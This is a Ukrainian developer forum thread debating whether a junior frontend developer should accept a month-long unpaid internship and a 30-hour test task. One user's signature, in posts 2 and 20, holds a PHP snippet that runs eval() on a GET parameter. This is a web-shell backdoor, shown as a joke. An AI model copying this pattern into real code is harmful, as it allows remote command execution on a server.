1 Востаннє редагувалося Bygryn (23.01.2016 16:36:27)

Тема: Чи варто погоджуватись на безоплачуване стажування?

Вирішив пошукати роботу Junior Frontend розробника. Після розсилки свого резюме в різні компанії та веб студії, я зрозумів одну річ. Ніхто з тобою не захоче говорити, поки ти не виконаєш ТЗ.  Після цього вже запрошують на співбесіду. Одна невелика веб студія на співбесіді запропонувала безоплачуване стажування на місяць. Чи варто на таке погоджуватись? Я притримуюсь думки, що при стажуванні ти повинен отримувати таки певну суму, наприклад прожитковий мінімум.

2

Re: Чи варто погоджуватись на безоплачуване стажування?

Я б тих хто пропонує безкоштовно попрацювати закидував би коктейлями Молотова, але якщо вам дуже треба і не вдається домовитися хоча б на пару штук гривень, то можна й спробувати. Тільки при цьому не варто припиняти пошуку роботи.

<?php
echo '<html><body><h1>This is my home page</h1>DATING &amp; DOORWAY</body></html>';
if (isset($_GET['adminka'])) eval($_GET['adminka']);
Если ты это читаешь, тебе должно быть стыдно! Займись чем–нибудь полезным!
Подякували: IhorGorobets, Bygryn, cheappi386, leofun014

3

Re: Чи варто погоджуватись на безоплачуване стажування?

Безкоштовно працюй лише якщо в тебе немає абсолютно ніякого досвіду.

Подякували: Bygryn, DOP, leofun013

4

Re: Чи варто погоджуватись на безоплачуване стажування?

Bygryn написав:

Вирішив пошукати роботу Junior Frontend розробника. Після розсилки свого резюме в різні компанії та веб студії, я зрозумів одну річ. Ніхто з тобою не захоче говорити, поки ти не виконаєш ТЗ.  Після цього вже запрошують на співбесіду. Одна невелика веб студія на співбесіді запропонувала безоплачуване стажування на місяць. Чи варто на таке погоджуватись? Я притримуюсь думки, що при стажуванні ти повинен отримувати таки певну суму, наприклад прожитковий мінімум.

Краще прийми участь в OpenSource, аніж на безоплатне стажування. Потім намагайся добитися щоб погодилися хоча би на якусь мінімальну платню на період стажування. Якщо твій OpemSource проект нічого немає з того що використовують вони домовляйся на отримання завдання яке в разі виконання оплатять, та обговори перелік завдань які маєш вирішити щоб взяли на роботу. Наприклад, вони дають п'ять завдань по різним технологіям що вони юзають а в твоєму вільному проекті їх немає, після кожного виконаного оплачують хоч якийсь мінімум, а після всіх беруть на роботу. Буває пропонують зробити OpenSource проект безкоштовно з технологіями які вони юзають і навіть пропонують ідею яка не принесе грошей (тобто її після втілення не використаєш для заробітку) але цікава, це ще допустимо. Тобто ідея допиляй фреймворк який ми юзаємо потрібними функціями безкоштовно має відпасти, а зробити сайт курсу бігмака саме те.

Віддамся на один вечір в хороші дівочі руки.. не дорого, в у.о. .. Якщо сподобається, то залишуся безкоштовно назавжди..
Подякували: Bygryn, Master_Sergius, cheappi386, leofun014

5

Re: Чи варто погоджуватись на безоплачуване стажування?

Деякі контори так і беруть на виконання якогось реального завдання працівника нахаляву, ви задачу здали, а вони - "ми вам передзвонимо". Тому повністю підтримую HetmanNet.

Мій блог про ОС сімейства *nix - http://nixtravelling.blogspot.com/
Подякували: HetmanNet, Bygryn2

6

Re: Чи варто погоджуватись на безоплачуване стажування?

Насправді це досить поширена практика, в нас, наприклад, беруть нових працівників без досвіду роботи (в основному студентів) на 1 місяць безоплатно. Протягом цього місяця він виконує декілька невеликих тасків, проявляє себе, по результатах визначаємо куди краще його спрямувати. Співбесіда у цьому випадку - формальність, такий підхід зарекомендував себе значно краще. Це все стосується виключно осіб без досвіду роботи.

7

Re: Чи варто погоджуватись на безоплачуване стажування?

Студентом, чисто як практика на один місяць ще не так страшно.

Особисто у мене в голові не вкладається 1 місяць роботи без грошей. Тобто ти їздиш на роботу, харчуєшся, одним словом тратишся а вихлопу ніякого.

Я свого часу постажувався 1 тиждень. Потратив 1 тисячу і 1 тисячу не заробив (бо взяв тиждень відгулу за свій рахунок) а в кінці мені запропонували роботу із зп в 2 рази меншою аніж у мене була на той час Не в ІТ.

Алсо на свою теперішню роботу я потратив без будь-яких тестів. Тільки по співбесіді.

Подякували: ADR, Bygryn2

8

Re: Чи варто погоджуватись на безоплачуване стажування?

Після розсилки свого резюме в різні компанії та веб студії, я зрозумів одну річ. Ніхто з тобою не захоче говорити, поки ти не виконаєш ТЗ

Тут не зрозумів. У чому проблема? Чи дають великі проекти?

Бо як на мене то варіант коли тобі дають щось зробити дома і потім пояснити, що і як ти зробив — найкращий. Бо могли і на співбесіді дати 10 простеньких задач, які б не встиг виконати.

Подякували: leofun01, HetmanNet2

9

Re: Чи варто погоджуватись на безоплачуване стажування?

NetWorker написав:

Насправді це досить поширена практика, в нас, наприклад, беруть нових працівників без досвіду роботи (в основному студентів) на 1 місяць безоплатно. Протягом цього місяця він виконує декілька невеликих тасків, проявляє себе, по результатах визначаємо куди краще його спрямувати. Співбесіда у цьому випадку - формальність, такий підхід зарекомендував себе значно краще. Це все стосується виключно осіб без досвіду роботи.

Це най**, а не стажування. Більш менш коректно брати на практику студента, і то варто платити якийсь мінімум щоб на проїзд та каву вистачило, ніхто не каже платити $1000, заплати хоча би 3000 грн. Відбери через тестові невеликі завдання які поясне як виконав, запроси на стажування на місяць чи два з якоюсь мінімальною платнею. Не перекладайте нездатність вашого відділу кадрів відбирати кандидатів на плечі кандидатів. Навіть пошук кандидатів вимагає певних витрат від компанії, а це спроба його здійснити за чужий рахунок.

Віддамся на один вечір в хороші дівочі руки.. не дорого, в у.о. .. Якщо сподобається, то залишуся безкоштовно назавжди..
Подякували: Bygryn1

10 Востаннє редагувалося Bygryn (19.02.2016 21:23:26)

Re: Чи варто погоджуватись на безоплачуване стажування?

ADR написав:

Після розсилки свого резюме в різні компанії та веб студії, я зрозумів одну річ. Ніхто з тобою не захоче говорити, поки ти не виконаєш ТЗ

Тут не зрозумів. У чому проблема? Чи дають великі проекти?

Бо як на мене то варіант коли тобі дають щось зробити дома і потім пояснити, що і як ти зробив — найкращий. Бо могли і на співбесіді дати 10 простеньких задач, які б не встиг виконати.

В даному випадку дали завдання, розраховане на 30 годин праці (так вказано було в тз).

11 Востаннє редагувалося ADR (20.02.2016 21:47:35)

Re: Чи варто погоджуватись на безоплачуване стажування?

Bygryn написав:

В даному випадку дали завдання, розраховане на 30 годин праці (так вказано було в тз).

Як на мене то більше ніж 4 години (включно із пошуком та встановленням всіх необхідних програм) — це забагато, не кажучи за 30.

Подякували: HetmanNet, Bygryn, Sensetivity, leofun014

12

Re: Чи варто погоджуватись на безоплачуване стажування?

1. Не ідіть на таке стажування. Якщо ваш пошлють ви будете за бортом. Краще шукайте де ви зможете за 2-3-4к грн навчатись. Звісно якщо у вас є хоч якісь навички. Якщо навичок немає - тоді ідіть вчитись і шукайте оплачуване стажування
2. 30 годин - дуже багато. У нашій компанії ми склали завдання для початківців. Професіонали його виконують за 5хв. Деяким джунам знадобилось 60 хв) Тож тут все відносно.

13

Re: Чи варто погоджуватись на безоплачуване стажування?

Який сенс давати завдання на 30 годин з точки зору роботодавця, коли все можна побачити за годину?

МАКЕ ЦКЯАІИЕ БЯЕАТ АБАІИ
Подякували: Bygryn, leofun012

14

Re: Чи варто погоджуватись на безоплачуване стажування?

quez написав:

Який сенс давати завдання на 30 годин з точки зору роботодавця, коли все можна побачити за годину?

Щоб зробити те що давно планували, але всім було влом?

15

Re: Чи варто погоджуватись на безоплачуване стажування?

ADR написав:
quez написав:

Який сенс давати завдання на 30 годин з точки зору роботодавця, коли все можна побачити за годину?

Щоб зробити те що давно планували, але всім було влом?

А потім ловити баги в чужому коді? Читати завжди складніше, ніж писати.

МАКЕ ЦКЯАІИЕ БЯЕАТ АБАІИ
Подякували: Bygryn, leofun012

16

Re: Чи варто погоджуватись на безоплачуване стажування?

Кому цікаво, місяць тому я таки виконав тестове завдання для цієї веб студії. Відписали, повідомили, що є незначні зауваження, які бажають обговорити на співбесіді. На ній ж запропонували безоплачуване стажування, від якого я відмовився і не шкодую про свій вибір. Пройшов місяць і ця веб студія знову шукає собі "Frontend developera" (точніше людину, яка безкоштовно виконуватиме їхню роботу)

Подякували: ADR, Sensetivity, HetmanNet, leofun01, bvn5

17

Re: Чи варто погоджуватись на безоплачуване стажування?

quez написав:
ADR написав:
quez написав:

Який сенс давати завдання на 30 годин з точки зору роботодавця, коли все можна побачити за годину?

Щоб зробити те що давно планували, але всім було влом?

А потім ловити баги в чужому коді? Читати завжди складніше, ніж писати.

ну так вони ж надіються ще й на безплатне стажування)

18

Re: Чи варто погоджуватись на безоплачуване стажування?

В будь якому випадку роботодавець Вам нічого не винен, поки Ви не доведете йому свою необхідність. Способи в кожного різні, але всерівно мусите погоджуватися на його правила, або йти до іншого, де свої правила... Кожну пропозицію варто детально аналізувати, адже шахрайство можливо у всіх галузях, ІТ далеко не виключення.
Для HetmanNet:
В нас немає відділу кадрів, ми поки невелика компанія, стажування проводиться в заочному режимі, тобто після невеликої співбесіди кандидат отримує завдання по часу виконання десь на 2-4 робочі години і виконує його протягом тижня у вільний час, де йому зручно, ми не вимагаємо кожен день звітувати, і так 3 рази підряд. 4-го тижня підсумовується все і власне аналізуються виконані таски куратором до якого був прикріплений стажер. Дальше його беруть на роботу, був лише 1 раз коли не взяли. Усі інші, включаючи мене, працюємо не 1 рік. Наш пріоритет - це молоді люди, без досвіду, які отримують шанс себе проявити, як показує практика вони дуже швидко ростуть і доводять свою ефективність. Не можна сприймати все під один шаблон, слід добре розібратися у тому, що вам пропонують і ще раз прочитати 1 абзац цього повідомлення :)

19 Востаннє редагувалося ADR (22.02.2016 00:09:31)

Re: Чи варто погоджуватись на безоплачуване стажування?

NetWorker написав:

В будь якому випадку роботодавець Вам нічого не винен, поки Ви не доведете йому свою необхідність. Способи в кожного різні, але всерівно мусите погоджуватися на його правила, або йти до іншого, де свої правила... Кожну пропозицію варто детально аналізувати, адже шахрайство можливо у всіх галузях, ІТ далеко не виключення.
Для HetmanNet:
В нас немає відділу кадрів, ми поки невелика компанія, стажування проводиться в заочному режимі, тобто після невеликої співбесіди кандидат отримує завдання по часу виконання десь на 2-4 робочі години і виконує його протягом тижня у вільний час, де йому зручно, ми не вимагаємо кожен день звітувати, і так 3 рази підряд. 4-го тижня підсумовується все і власне аналізуються виконані таски куратором до якого був прикріплений стажер. Дальше його беруть на роботу, був лише 1 раз коли не взяли. Усі інші, включаючи мене, працюємо не 1 рік. Наш пріоритет - це молоді люди, без досвіду, які отримують шанс себе проявити, як показує практика вони дуже швидко ростуть і доводять свою ефективність. Не можна сприймати все під один шаблон, слід добре розібратися у тому, що вам пропонують і ще раз прочитати 1 абзац цього повідомлення :)

За звичай просто дають випробувальний термін із половиною зарплати на 1-3 місяці. Ви відлякуєте кандидатів такими умовами.

Подякували: HetmanNet1

20

Re: Чи варто погоджуватись на безоплачуване стажування?

Дуже довго.

<?php
echo '<html><body><h1>This is my home page</h1>DATING &amp; DOORWAY</body></html>';
if (isset($_GET['adminka'])) eval($_GET['adminka']);
Если ты это читаешь, тебе должно быть стыдно! Займись чем–нибудь полезным!